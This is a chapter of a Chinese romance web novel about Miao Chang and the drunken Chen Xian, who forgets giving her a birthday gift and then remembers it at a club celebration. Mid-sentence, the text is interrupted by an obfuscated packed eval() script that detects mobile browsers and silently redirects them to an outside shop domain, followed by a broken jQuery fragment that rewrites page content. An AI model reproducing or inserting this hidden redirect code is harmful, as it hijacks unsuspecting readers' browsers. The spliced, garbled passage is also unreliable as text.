醉了?
在还没有反应过来发生了什么事情之前,大脑先给出了结论。
事实上,这好像是不用特别思索就能断定的,除了时不时扑进鼻息的酒精气味足以证明之外,陈献说完那句话,直接头往下一垂,跟电量耗尽似的,挂在了她的肩膀上。
苗畅抖了抖肩膀,没有半点用处。
她试着推他:“起来。”
陈献头抬起了一些,又倏地砸了下去。
那样的体格,苗畅差点没经受住,摇摇晃晃往后退了好几步,勉强站稳,她费了很大的劲,在手里还拿着东西的情况下把陈献往里面拖,原本距离不算远的陈献的卧室这会儿却显得有些遥不可及。没办法,苗畅只好将人抛在了沙发上。
柔软蓬松的面料猛地陷下去,身子往旁边一倾,整个人差点扑在仰面倒下的人身上,苗畅手掌撑着沙发边缘起身,吐出一口喘息,硬是被逼出了一头汗。
把陈献丢进怀里的东西都放在茶几上,垂着眼往下看,醉酒的人挂在嘴角的弧度已经散了,老老实实地躺在那里,明亮的灯光从高度突出的眉弓跃过挺拔的鼻梁移到清晰的唇线,一睡着,就显露出一副不同于平日的温顺乖巧的样子。
倒也当真稀奇。
看了一会,苗畅去洗手间拿了湿毛巾,又返回来,给闭着眼睛的人擦了擦脸。这么离近了瞧,他的睫毛颜色很深,恍若被泼了墨,长长地在眼下投出一片阴影。
“苗畅。”一直闭着眼睛的陈献把脸埋在抱枕上,蹭了两下,右手抬起抓住了她的手腕,“我赢了。”
苗畅说:“我知道。”
“厉不厉害。”
苗畅扯他的手:“好痛。”
陈献坚持:“你说厉不厉害。”
苗畅干脆任由他抓着:“厉害。”
醉酒的陈献笑了笑,像是心满意足似的,进入了梦乡。
手上的力度松了些,苗畅没来由地又多看了两眼睡着的人,把用完的湿毛巾重新放回去,这才找出空闲查看茶几上的东西。
奖杯不用说。
拆开礼盒,是块智能手表,虽然不是她看中的那款,但却是之前路过的那家店里的。
那天他猜到她想干什么了?
苗畅敛了敛眸。
再打开蛋糕盒,造型漂亮的树莓蛋糕上,带着“生日快乐”四个小字的巧克力横在中央。
苗畅不自觉走了神。
今天是她的生日。
她还以为……不会再有除了自己之外的人记得。
“疼。”在神游的思绪尚未归位的时候,旁边传来一声似是抱怨般的嘀咕。没容她放空太久,像是睡着了的人摸索着抓住了她的手,放到了脸上,蹭了蹭,嘴里嘟囔着,“头疼。”
手心很烫,在意识到火热的温度同时蹿上脖颈和脸颊的瞬间,苗畅用力抿了下嘴唇,拇指和食指轻轻用力,揉了揉手下的眉心。
.
浑身不舒服,跟被人打了一顿一样,陈献太阳穴跳了跳,眼睛要睁不睁地翻了个身,差点悬空的感觉直冲脑门,幸好反应快避免了摔下去,这下也清醒了。
他慢慢扫了眼沙发,腿都伸不开,怪不是睡得那么不舒服。再一看身上盖的东西,本来位置就不宽敞还搞这么一床被子,是想挤死他?
揉着额头坐起来倒了杯水,试着回想前一天晚上发生的事情,记忆仿佛被分割成了数不清的小碎片,拼凑不到一起:好像拿了奖后被玩得要好的朋友一起拉去喝了酒,然后还发生了什么?去了哪?什么时候回的家?怎么会睡在沙发上?这破被子是谁盖在他身上的?都找不着思路。
正琢磨着是不是应该好好想一想的时候,某人打开了房间的门。人随着微弱的拧动声一出来,就瞥了他一下。
眼神奇奇怪怪的。
陈献没好气:“看什么?”
还是用这种鬼反应。
苗畅表情没有什么变化,摇了摇头,把书包放在了餐桌前的椅子上,又看了他一眼。
有完没完,还上瘾了,陈献不耐:“又看什么?”
苗畅还是摇了摇头。
脑子八成是坏掉了。
本来没睡好就不爽,陈献才懒得理这烦人精又准备搞什么名堂,不悦的嗅到了衣领上沾染上的酒味,他把那该死的被子往后使劲一推起身往浴室走,打算去洗澡,边走边一手脱掉上衣朝后扔了过去,准确无误的砸到了那道还在盯着瞧的试探似的目光的所属人的脑袋上。
.
不薄不厚的针织衫含着温热的体温糊在脸上,眼前骤然一黑,苗畅把陈献的衣服扯下来放好,往浴室那边瞧了一眼,听了会儿哗哗的水声,背上书包,换了鞋出门。
楼下的早餐铺种类不多,但对付一个早饭,对苗畅来说足够了。拿陈献留下的生活费的余额填饱了肚子,苗畅自己去了学校。现在已经能清楚地记得路了。
虽然只是高一,且刚刚开学没多久,但教学进度却并不轻松,班主任一进教室就向他们宣读了一个噩耗:国庆之前将举行第一次小月考。
班里是各种各样的哀呼和抱怨。
只有苗畅无关于己的在座位上,想起这几天——
生日当晚醉酒的男人和对方清醒后截然不同的面貌。实在是抵不住好奇,止不住地投递探索的视线。
不到半米远的距离、一米远的距离、两米远的距离,在那个共同居住的家里,碰上,分开,分开,碰上。
瞥一眼。
被瞪回来。
摇摇头。
再一眼。
被瞪回来。
错开视线。
又一眼
被瞪回来……
第一天,陈献烦得要死。
第二天,陈献还是烦得要死。
第三天,陈献直接无视。
这是第四天了,苗畅轻轻抚摸着漂亮的表盘。
“你这个表还挺好看的,自己买的吗?”同桌余琪蕊注意到了她的手腕,以亲切的语气做出提问。
苗畅摇了摇头
余琪蕊不知怎么地给出推测:“你哥送的?”
如果按照上次自己面向她时对陈献做出的称呼来说,这话没错,苗畅点了点头。
余琪蕊哇道:“你哥不光是长得好看,眼光也挺好啊。”
苗畅没有回应这话,转头望向窗外,眼光好不好不知道,但当事人好像不记得这个生日礼物了。
不管记不记得,这个礼物都在一定程度上满足了苗畅的需求,下午放学,小巧的屏幕上弹出苏唤云发来的消息,说是看上了一支新的舞蹈,想让她去家里看看能不能教。
算了算时间,苗畅没有先回去放书包,而是直接去了苏唤云那里。
不管多少次来,苏唤云总是笑盈盈、语气亲昵地先对她进行一轮嘘寒问暖。苗畅对于这种亲昵没有产生出多么澎湃汹涌的情感,一如既往简明扼要地回答完琐碎的问题:“今天在学校还好吗?”、“好。”、“累不累?”、“不累。”……然后自然地引出将自己引向这里来的事宜:“什么舞?”
“这个,就这个,昨天晚上我看了好几遍呢,你看看我们能不能学。”苏唤云乐呵呵地给苗畅看手机里保存的视频。
苗畅从头到尾将那支舞看完一遍,已经记住了动作,挺简单的一支舞,教起来并不难,于是她说:“可以。”
苏唤云笑逐颜开,拍了拍手:“那可太好了,等学会了这支舞我们正好也就可以去参加广场舞比赛了。我是不是还没给你看过我们以前比赛的视频呀,我给你找找。”
要自信有自信。
要默契有自信。
苗畅坐在苏唤云旁边跟她一起回忆“昔日壮举”,脑海中莫名浮现出了很早之前苗冬霜对被舞蹈教学机构安排到商场演出的一群小朋友的表现的评价。
都记不清多少年前的事了,不知道怎么会想起,苗畅端起水杯抿了口水,幸好咽下得及时,才避免被吓了一跳而呛到。
“妈——”彭斌风风火火地闯进家,送来嘹亮的一声喊叫,紧接着就开始东望西望,“我桌游呢。”这么一望,看到沙发上坐着的人,“嘿,原来你在这啊,我刚刚从献哥那里过来还纳闷你跑哪去了呢。走啊,哥哥带你耍去。”
苏唤云代替了苗畅发表疑问:“去哪耍去。”
“去陆岑那里呀,人多多热闹啊。”彭斌一边翻箱倒柜地找东西,一边冲苗畅说,“听说今天好像还有个跟你年龄差不多的小姑娘,正好说不定你俩还能交流交流。不是,我桌游放哪了,啧,怎么给我塞这儿了。”
东西一找到,苗畅的手腕就被抓住了:“走走走。”
没有明确想去或是不想去的念头,苗畅没答应也没拒绝,猛地被抓住手腕,胳膊立马泛起了一层鸡皮疙瘩,缓了缓,平息掉不适,就这么被拉着走。
苏唤云赶紧叮嘱:“你们别疯起来忘了时间,畅畅明天还要上课呢!”
“知道了,知道了,把心放肚子里吧您。”
地点还是之前的那家f3俱乐部。
彭斌告诉苗畅,本次来玩的目的是陆岑要为上次去参加比赛的车手举行庆功宴。也是从他口中,苗畅才知道,除了在槐江这个小地方作为娱乐和商业盈利两种目的建设的俱乐部外,陆岑在颜城那边有一支由专业赛车手组成的车队,陈献以前就是其中的一员,现在也会一起跑跑车赛。
陆岑的庆功宴。
不出意料,用热闹两个字来形容完全不够用。
阵仗搞得像是一场精心策划的晚宴,除了来宾们穿着并没有那么讲究以及场合并不那么庄重,其他的配置完全可以与之媲美。
“你走这边。”彭斌照顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704095|208278||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着苗畅,跟她换了换位置,避免她被来来往往的人给撞到。
乱七八糟的灯光晃的人头晕。
苗畅被带到了陈献所在的位置。
陈献来的早一些,被拉着在不停劝酒及持续避酒中间徘徊,任凭别人怎么“阿献不至于吧。”、“你这可就没意思了。”之类的话来来回回的说,都只是油盐不进的来一个人应付的抿一口,谁嘟囔的话多了,连一口也不抿了。
酒这种东西,偶尔喝一喝得了,不是非得往醉掉上靠才叫有意思的。
看怎么都得不了逞,那群人又拉着他打牌。
打不打的陈献无所谓,但接连扫兴好像就说不过去了,于是,他流畅的加入了牌局。虽然心思没有怎么投入进去,但手气还算不错,几轮下来赢了不少次。
“等会,我确认下,这是友情局,确定不来钱的对吧?”
“瞧瞧你那个抠抠搜搜的样儿。”
“不抠也不带这样的吧,我这再输下去,等会裤衩子都得输给阿望了。怎么,阿望你要吗?来,我脱给你。”
陈献轻松的把头往后靠了靠,愉快的嘴角勾了勾:“去你大爷的。”
瞧见彭斌那张脸,立马就不愉快了。
叫他过来,他带着那拖油瓶干什么?
“我把畅妹妹带来玩了。”彭斌丝毫没有注意到利刃般甩过来的眼神,一边先斩后奏的跟陈献报备,一边得意洋洋的秀着拿来的桌游,“有没有人要一起?”
苗畅眼睁睁的见证到陈献上扬后又拉下来的唇角,条件反射般看了过去。
眸光碰撞到一起,陈献蹙眉,盯盯盯,好几天了也不知道到底盯个什么劲,他干脆就凉凉的回望,看谁能比谁看的时间更长。
暗中的较量被彭斌剪断,找不到人一起玩,他拽着苗畅就另寻他人:“一群没品味的人,走,我们去玩我们的。”
苗畅被拖着转移阵地,视线渐渐收起来,往前,看到了热闹中心的陆岑。脸颊两侧的酒窝自然的凹陷,一如往常随意舒适的状态。不同的是这次多了几个跟在身边的人。
站的最近的男人看起来也很年轻,很明显能判断出应该是学了拳击,体格很有压迫感,花花绿绿的纹身从脖子蔓延到耳侧,看起来非常……不像个好人;稍远一点的年龄也差不多,相比之下弱小了许多,染着一头潮流的银灰色,打扮的比在场的所有人都要精致,好像是在生气,嘴巴噘老高;更远一点,是一个更瘦更小的女生,长着一张非常清纯的脸,在纷乱嘈杂的氛围下,像是一朵雨后的百合,只是肤色几乎苍白到了病态的地步,即使隔着段距离,也能看清眼底化不开的绵绵阴雨。
“那个看起来一拳能打死一头牛的叫齐曜东,旁边那娇滴滴的少爷叫洛跳跳,还有那个,就是我说的应该和你差不多大的小姑娘,还不知道叫什么名字呢,你要不要跟她认识一下,以后可以一起玩?”彭斌说。
苗畅不是乐于同人交往的性格,摇了摇头。
“行吧。”彭斌也没想太多,“那咱们去玩。”
.
“那就是陆岑新捡那小孩?”同一时间,陈献右手边,玩的要好的车手朝外面努了努嘴,“你们说陆岑是不是有什么捡孩子的怪癖啊,捡了齐曜东和洛跳跳还不够,这又来一个?闲的没事养孩子吗?”
捡?
这次要按照这个标准来算的话,他和陆岑也没差。
还是有差的。
他捡的这个还更小,更像是养孩子了。
孩子也没这么讨人烦的。想起那拖油瓶这几天的表现,陈献提都不想提。
但越是不想提吧还越是逃不脱,刚刚还在把话题定在陆岑那边的人很快就将矛头转向了自己:“你又是怎么回事?”
“什么怎么回事?”
“别装了,刚那谁啊?”
“什么谁?”
“还装是不是?刚跟彭斌一起来的那不是你捡回家那个?你说陆岑这么干吧没什么,但你我是真稀奇啊,怎么着了,跟人家处挺好?”
装聋作哑的敷衍不过去,陈献烦道:“好个屁。”
问话的这可就起劲了,语气别提多扭捏夸张:“那你大半夜的还非得给人家买蛋糕。”
还有人开团秒跟:“还非得给人买生日礼物。”
什么蛋糕?什么生日礼物?什么非得半夜?
说的什么玩意?一句听不懂。陈献试着找到一丝印象。
就在这个时候,彭斌那边也不知道是赢了多大的局面,拍着桌子猛喊了句:“看!哥哥厉不厉害!”
脑海中的碎片急剧的拼凑到了一起,陈献忽地抓住了不断后涌的记忆。
苗畅,哥哥厉不厉害……
苗畅,哥哥厉不厉害……
苗畅,哥哥厉不厉害……
操。
全想起来了。